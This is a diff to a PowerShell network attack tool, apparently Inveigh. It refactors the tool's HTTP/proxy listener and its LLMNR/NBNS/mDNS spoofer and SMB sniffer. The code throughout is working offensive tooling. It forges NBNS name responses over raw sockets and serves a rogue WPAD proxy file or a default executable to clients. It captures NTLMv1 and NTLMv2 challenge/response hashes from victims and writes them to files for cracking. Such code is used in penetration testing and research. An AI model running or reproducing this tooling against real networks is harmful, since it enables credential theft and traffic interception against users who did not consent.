@@ -2569,7 +2700,7 @@ $SMB_NTLM_functions_scriptblock =
 
                 if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$'))))
                 {
-                    $inveigh.NTLMv1_list.Add($NTLMv1_hash)
+                    $inveigh.NTLMv1_list.Add($NTLMv1_hash) > $null
 
                     if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))
                     {
@@ -2582,7 +2713,7 @@ $SMB_NTLM_functions_scriptblock =
 
                     if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")))
                     {
-                        $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash)
+                        $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) > $null
                         $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) > $null
                     }
 
@@ -2608,12 +2739,12 @@ $SMB_NTLM_functions_scriptblock =
 }
 
 # HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener
-$HTTP_scriptblock = 
-{ 
-    param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPResponse,
+$HTTP_scriptblock =
+{
+    param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResponse,
     $HTTPS_listener,$NBNSBruteForcePause,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth,$WPADAuthIgnore,$WPADResponse)
 
-    function NTLMChallengeBase64
+    function Get-NTLMChallengeBase64
     {
         param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort)
 
@@ -2662,15 +2793,15 @@ $HTTP_scriptblock =
                             0x38,0x00,0x00,0x00 +
                             $HTTP_NTLM_negotiation_flags +
                             $HTTP_challenge_bytes +
-                            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + 
+                            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
                             $target_length +
                             $target_length + 
                             $target_offset +
                             0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f +
                             $netBIOS_domain_bytes +
-                            0x02,0x00 + 
+                            0x02,0x00 +
                             $netBIOS_domain_length +
-                            $netBIOS_domain_bytes + 
+                            $netBIOS_domain_bytes +
                             0x01,0x00 +
                             $hostname_length +
                             $hostname_bytes +
@@ -2719,7 +2850,7 @@ $HTTP_scriptblock =
     $HTTP_running = $true
     $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint
     $HTTP_client_close = $true
-
+   
     if($proxy_listener)
     {
         $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0)
@@ -2738,18 +2869,18 @@ $HTTP_scriptblock =
     
     :HTTP_listener_loop while($inveigh.running -and $HTTP_running)
     {
-        $TCP_request = ""
+        $TCP_request = $null
         $TCP_request_bytes = New-Object System.Byte[] 4096
         $HTTP_send = $true
-        $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html")
-        $HTTP_header_cache_control = ""
-        $HTTP_header_authenticate = ""
-        $HTTP_header_authenticate_data = ""
-        $HTTP_message = ""
-        $HTTP_header_authorization = ""
-        $HTTP_header_host = ""
-        $HTTP_header_user_agent = ""
-        $HTTP_request_raw_URL = ""
+        $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: text/html")
+        $HTTP_header_cache_control = $null
+        $HTTP_header_authenticate = $null
+        $HTTP_header_authenticate_data = $null
+        $HTTP_message = ''
+        $HTTP_header_authorization = ''
+        $HTTP_header_host = $null
+        $HTTP_header_user_agent = $null
+        $HTTP_request_raw_URL = $null
         $NTLM = "NTLM"
 
         while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected)
@@ -2788,7 +2919,7 @@ $HTTP_scriptblock =
         }
         else
         {
-
+            
             if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running)
             {
                 $HTTP_client = $HTTP_listener.AcceptTcpClient() 
@@ -2806,7 +2937,7 @@ $HTTP_scriptblock =
 
             while($HTTP_stream.DataAvailable)
             {
-                $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length)
+                $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) > $null
             }
 
             $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes)
@@ -2818,13 +2949,14 @@ $HTTP_scriptblock =
             $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
             $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length)
             $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString
+            $HTTP_connection_header_close = $true
 
             if($NBNSBruteForcePause)
             {
                 $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
                 $inveigh.hostname_spoof = $true
             }
-            
+
             if($TCP_request -like "*-48-6F-73-74-3A-20-*")
             {
                 $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19)
@@ -2839,14 +2971,6 @@ $HTTP_scriptblock =
                 $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-"))
                 $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
                 $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length)
-
-                if($HTTPResetDelay.Count -gt 0 -and ($HTTPResetDelay | Where-Object {$HTTP_header_user_agent -match $_}))
-                {
-                    $HTTP_reset_delay = $true
-                    $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout
-                    $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
-                }
-
             }
 
             if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle)
@@ -2861,7 +2985,7 @@ $HTTP_scriptblock =
                 }
 
             }
-            
+
             if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*")
             {
                 $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46)
@@ -2899,11 +3023,11 @@ $HTTP_scriptblock =
                     $HTTP_response_status_code = 0x34,0x30,0x31
                     $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20
                 }
-                
+
                 $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64
                 $HTTP_client_close = $false
             }
-
+            
             if($TCP_request -like "50-4f-53-54*")
             {
                 $HTTP_POST_request_extract = $TCP_request.Substring($TCP_request.IndexOf("-0D-0A-0D-0A-") + 12)
@@ -2920,16 +3044,16 @@ $HTTP_scriptblock =
 
                 $HTTP_POST_request_old = $HTTP_POST_request
             }
-            
+
             if($HTTP_header_authorization.StartsWith('NTLM '))
             {
-                
                 $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ',''
                 [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization)
-            
+                $HTTP_connection_header_close = $false
+
                 if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00')
                 {
-                    $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port
+                    $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port
                 }
                 elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00')
                 {
@@ -2940,16 +3064,16 @@ $HTTP_scriptblock =
                     [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*'
                     $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge)
                     $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1)
-                       
+
                     if($HTTP_NTLM_domain_length -eq 0)
                     {
-                        $HTTP_NTLM_domain_string = ""
+                        $HTTP_NTLM_domain_string = $null
                     }
                     else
                     {  
                         $HTTP_NTLM_domain_string = Convert-DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes
                     } 
-                    
+
                     $HTTP_NTLM_user_length = Get-UInt16DataLength 36 $HTTP_request_bytes
                     $HTTP_NTLM_user_offset = Get-UInt32DataLength 40 $HTTP_request_bytes
                     $HTTP_NTLM_user_string = Convert-DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes
@@ -2957,17 +3081,17 @@ $HTTP_scriptblock =
                     $HTTP_NTLM_host_offset = Get-UInt32DataLength 48 $HTTP_request_bytes
                     $HTTP_NTLM_host_string = Convert-DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes
                     $HTTP_username_full = $HTTP_NTLM_domain_string + "\" + $HTTP_NTLM_user_string
-        
+
                     if($HTTP_NTLM_length -eq 24) # NTLMv1
                     {
                         $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-",""
                         $NTLM_response = $NTLM_response.Insert(48,':')
                         $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge
-                    
+
                         if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))))
-                        {          
+                        {
                             $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) > $null
-                        
+
                             if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))
                             {
                                 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null
@@ -2979,7 +3103,7 @@ $HTTP_scriptblock =
 
                             if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")))
                             {
-                                $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash)
+                                $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) > $null
                                 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) > $null
                             }
 
@@ -2992,15 +3116,15 @@ $HTTP_scriptblock =
 
                     }
                     else # NTLMv2
-                    {         
+                    {
                         $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-",""
                         $NTLM_response = $NTLM_response.Insert(32,':')
                         $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response
-
+                        
                         if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))))
                         {
                             $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) > $null
-                        
+
                             if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))
                             {
                                 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null
@@ -3012,7 +3136,7 @@ $HTTP_scriptblock =
 
                             if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")))
                             {
-                                $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash)
+                                $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) > $null
                                 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null
                             }
 
@@ -3038,7 +3162,7 @@ $HTTP_scriptblock =
                     $HTTP_response_status_code = 0x32,0x30,0x30
                     $HTTP_response_phrase = 0x4f,0x4b
                     $HTTP_client_close = $true
-                    $NTLM_challenge = ""
+                    $NTLM_challenge = $null
 
                     if($proxy_listener)
                     {
@@ -3086,7 +3210,7 @@ $HTTP_scriptblock =
                 if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)))
                 {
                     [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE))
-                    $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/exe")
+                    $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/exe")
                 }
                 elseif($HTTPDir)
                 {
@@ -3102,7 +3226,7 @@ $HTTP_scriptblock =
                     elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat')
                     {
                         [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse)
-                        $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig")
+                        $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig")
                     }
                     else
                     {
@@ -3125,7 +3249,7 @@ $HTTP_scriptblock =
                     if($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})))
                     {
                         $HTTP_message = $WPADResponse
-                        $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig")
+                        $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig")
                     }
                     elseif($HTTPResponse)
                     {
@@ -3133,7 +3257,7 @@ $HTTP_scriptblock =
                         
                         if($HTTPContentType)
                         {
-                            $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTPContentType)
+                            $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: $HTTPContentType")
                         }
 
                     }
@@ -3149,7 +3273,6 @@ $HTTP_scriptblock =
 
             $HTTP_timestamp = Get-Date -format r
             $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp)
-            $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message_bytes.Length)
 
             if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close)
             {
@@ -3159,14 +3282,21 @@ $HTTP_scriptblock =
             {
                 $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm")
             }
-
+            
             $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary
-            $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20))
+            $packet_HTTPResponse.Add("HTTPResponse_ResponseVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20))
             $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20))
             $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a))
-            $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a))
+
+            if($HTTP_connection_header_close)
+            {
+                $HTTP_connection_header = [System.Text.Encoding]::UTF8.GetBytes("Connection: close")
+                $packet_HTTPResponse.Add("HTTPResponse_Connection",$HTTP_connection_header + [Byte[]](0x0d,0x0a))
+            }
+
+            $packet_HTTPResponse.Add("HTTPResponse_Server",[System.Text.Encoding]::UTF8.GetBytes("Server: Microsoft-HTTPAPI/2.0") + [Byte[]](0x0d,0x0a))
             $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a))
-            $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a))
+            $packet_HTTPResponse.Add("HTTPResponse_ContentLength",[System.Text.Encoding]::UTF8.GetBytes("Content-Length: $($HTTP_message_bytes.Length)") + [Byte[]](0x0d,0x0a))
 
             if($HTTP_header_authenticate -and $HTTP_header_authenticate_data)
             {
@@ -3197,7 +3327,6 @@ $HTTP_scriptblock =
 
             if($HTTP_client_close)
             {
-                $HTTP_reset_delay = $false
 
                 if($proxy_listener)
                 {
@@ -3214,11 +3343,10 @@ $HTTP_scriptblock =
         else
         {
 
-            if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout)
+            if($HTTP_data_available -or $HTTP_connection_header_close)
             {
                 $HTTP_client.Close()
                 $HTTP_client_close = $true
-                $HTTP_reset_delay = $false
             }
             else
             {
@@ -3241,10 +3369,10 @@ $HTTP_scriptblock =
 # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer
 $sniffer_scriptblock = 
 {
-    param ($Evade,$IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,
-            $NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,
-            $SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply,$SpooferLearning,$SpooferLearningDelay,
-            $SpooferLearningInterval)
+    param ($EvadeRG,$IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,
+            $NBNS,$NBNS_response_message,$NBNSNonprintable,$NBNSTTL,$NBNSTypes,$SMB,$SpooferHostsIgnore,
+            $SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply,$SpooferLearning,
+            $SpooferLearningDelay,$SpooferLearningInterval,$SpooferThresholdHost,$SpooferThresholdNetwork)
 
     $sniffer_running = $true
     $byte_in = New-Object System.Byte[] 4	
@@ -3313,7 +3441,6 @@ $sniffer_scriptblock =
                 $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4
                 $binary_reader.ReadBytes(7) > $null
                 $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length))
-
                 switch ($destination_port)
                 {
 
@@ -3321,7 +3448,11 @@ $sniffer_scriptblock =
                     {
                         if($SMB -eq 'Y')
                         {
-                            Get-SMBConnection $payload_bytes "$source_IP`:$source_port" "139"
+
+                            if($payload_bytes)
+                            {
+                                Get-SMBConnection $payload_bytes $IP $source_IP $source_port "139"
+                            }
 
                             if($inveigh.SMB_session_table."$source_IP`:$source_port")
                             {
@@ -3336,7 +3467,11 @@ $sniffer_scriptblock =
                      
                         if($SMB -eq 'Y')
                         {
-                            Get-SMBConnection $payload_bytes "$source_IP`:$source_port" "445"
+
+                            if($payload_bytes)
+                            {
+                                Get-SMBConnection $payload_bytes $IP $source_IP $source_port "445"
+                            }
 
                             if($inveigh.SMB_session_table."$source_IP`:$source_port")
                             {
@@ -3358,12 +3493,16 @@ $sniffer_scriptblock =
 
                         if($SMB -eq 'Y')
                         {   
-                            $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
+
+                            if($payload_bytes)
+                            {
+                                $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
+                            }
 
                             if($NTLM_challenge)
                             {
                                 $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge
-                                $NTLM_challenge = ""
+                                $NTLM_challenge = $null
                             }
 
                         }
@@ -3374,13 +3513,17 @@ $sniffer_scriptblock =
                     {
 
                         if($SMB -eq 'Y')
-                        {   
-                            $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
+                        {  
+
+                            if($payload_bytes)
+                            {
+                                $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
+                            }
 
                             if($NTLM_challenge -and $destination_IP -ne $source_IP)
                             {
                                 $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge
-                                $NTLM_challenge = ""
+                                $NTLM_challenge = $null
                             }
    
                         }
@@ -3427,63 +3570,23 @@ $sniffer_scriptblock =
                                                     $NBNS_response_data
                 
                             $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44])
-                    
-                            switch ($NBNS_query_type)
-                            {
-
-                                '41-41'
-                                {
-                                    $NBNS_query_type = '00'
-                                }
-
-                                '41-44'
-                                {
-                                    $NBNS_query_type = '03'
-                                }
-
-                                '43-41'
-                                {
-                                    $NBNS_query_type = '20'
-                                }
-
-                                '42-4C'
-                                {
-                                    $NBNS_query_type = '1B'
-                                }
-
-                                '42-4D'
-                                {
-                                    $NBNS_query_type = '1C'
-                                }
-
-                                '42-4E'
-                                {
-                                    $NBNS_query_type = '1D'
-                                }
-
-                                '42-4F'
-                                {
-                                    $NBNS_query_type = '1E'
-                                }
-
-                            }
-
+                            $NBNS_query_type = Get-NBNSQueryType $NBNS_query_type
                             $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)])
                             $NBNS_query = $NBNS_query -replace "-00",""
                             $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
                             $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length)
                             $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
-                            $NBNS_query_string_subtracted = ""
-                            $NBNS_query_string = ""
+                            $NBNS_query_string_subtracted = $null
+                            $NBNS_query_string = $null
                             $n = 0
                             
                             do
                             {
                                 $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65)
                                 $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16))
-                                $n += 1
+                                $n++
                             }
-                            until($n -gt ($NBNS_query_string_encoded.Length - 1))
+                            until($n -ge ($NBNS_query_string_encoded.Length))
                     
                             $n = 0
                     
@@ -3492,7 +3595,23 @@ $sniffer_scriptblock =
                                 $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16)))
                                 $n += 2
                             }
-                            until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15)
+                            until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15)
+
+                            if($NBNS_query_string -notmatch '[^\x00-\x7F]+')
+                            {
+
+                                if(!$inveigh.request_table.ContainsKey($NBNS_query_string))
+                                {
+                                    $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString)
+                                    $inveigh.request_table_updated = $true
+                                }
+                                else
+                                {
+                                    $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString
+                                    $inveigh.request_table_updated = $true
+                                }
+
+                            }
 
                             $NBNS_request_ignore = $false
 
@@ -3527,7 +3646,7 @@ $sniffer_scriptblock =
                                         $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
                                         $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
                                         $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-"
-                                        $NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137
+                                        $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
                                         $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)]
 
                                         $NBNS_request_packet = $NBNS_transaction_ID_bytes +
@@ -3549,7 +3668,7 @@ $sniffer_scriptblock =
                                 !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (
                                 !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and (
                                 $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and (
-                                $NBNSTypes -contains $NBNS_query_type) -and ($Evade -and $destination_IP.IPAddressToString -ne $IP))
+                                $NBNSTypes -contains $NBNS_query_type) -and ($EvadeRG -and $destination_IP.IPAddressToString -ne $IP) -and ($NBNSNonprintable -eq 'Y' -or ($NBNSNonprintable -eq 'N' -and $NBNS_query_string -notmatch '[^\x00-\x7F]+')))
                                 {
 
                                     if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
@@ -3557,9 +3676,9 @@ $sniffer_scriptblock =
                                         $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
                                         $NBNS_send_socket.SendBufferSize = 1024
                                         $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port)
-                                        $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point)
+                                        $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) > $null
                                         $NBNS_send_socket.Close()
-                                        $NBNS_response_message = "[Response Sent]"
+                                        $NBNS_response_message = "[response sent]"
                                     }
                                     else
                                     {
@@ -3569,13 +3688,13 @@ $sniffer_scriptblock =
                                 }
                                 else
                                 {
-
+                                    
                                     if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"}))
                                     {
                                         $NBNS_request_ignore = $true
                                     }
                                    
-                                    $NBNS_response_message = SpooferResponseMessage -query_string $NBNS_query_string -mDNS_type ""
+                                    $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS"
                                     $NBNS_response_type = $NBNS_response_message[0]
                                     $NBNS_response_message = $NBNS_response_message[1]
                                 }
@@ -3585,28 +3704,6 @@ $sniffer_scriptblock =
                             if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00')
                             {
                                 $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null
-                            
-                                if($inveigh.ADIDNS -eq 'Combo')
-                                {
-                                
-                                    if(!$inveigh.request_table.ContainsKey($NBNS_query_string))
-                                    {
-                                        $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString)
-                                        $inveigh.request_table_updated = $true
-                                    }
-                                    else
-                                    {
-
-                                        if($inveigh.request_table.$NBNS_query_string -NotContains $source_IP.IPAddressToString)
